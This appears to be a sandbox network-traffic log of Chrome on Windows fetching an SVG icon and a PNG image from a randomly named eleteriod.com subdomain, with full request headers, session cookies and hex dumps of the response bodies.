2024-05-22 18:02:14 UTC	1128	OUT	GET /ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:15 UTC	662	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sR3Fu%2BbiO6ZvAdiP%2B8C9rjYQslyuNPmTgdJO9M8Vb5yOEn8GGWR%2BU839GqxhEariIG76%2BX3D1jZiQlidXys0PBC3gIewDNK3iiQNX0lNWYJWjfYWBoILN3Z25Zm0Lw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7505d1f78db-EWR
2024-05-22 18:02:15 UTC	707	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 Data Ascii: 3.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.60
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e 33 38 32 37 20 31 31 2e 36 39 Data Ascii: 9C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.3827 11.69
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 Data Ascii: 824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L21.7129 41.5
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 20 32 31 2e 30 35 31 39 4c 34 37 2e Data Ascii: 4.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123 21.0519L47.
2024-05-22 18:02:15 UTC	1215	IN	Data Raw: 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 30 30 36 20 32 36 2e 34 35 31 33 20 Data Ascii: 8 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7006 26.4513
2024-05-22 18:02:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.17	59917	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:14 UTC	1476	OUT	GET /uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
2024-05-22 18:02:15 UTC	671	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:15 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LbInW5d7JOuxPpAS1CU0ii%2Fbaw3QrmPjXD8RUbqrngGvHlLjQBt%2BKsbKx2wE7IOocZskpC%2FM6rGpcL3GvTEULLXXx4wIi190JOIscDZXYYKmjW0iEA2eTa7btXjdwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb7502f7743d6-EWR
2024-05-22 18:02:15 UTC	698	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:15 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.17	59918	188.114.96.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:14 UTC	1123	OUT	GET /mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
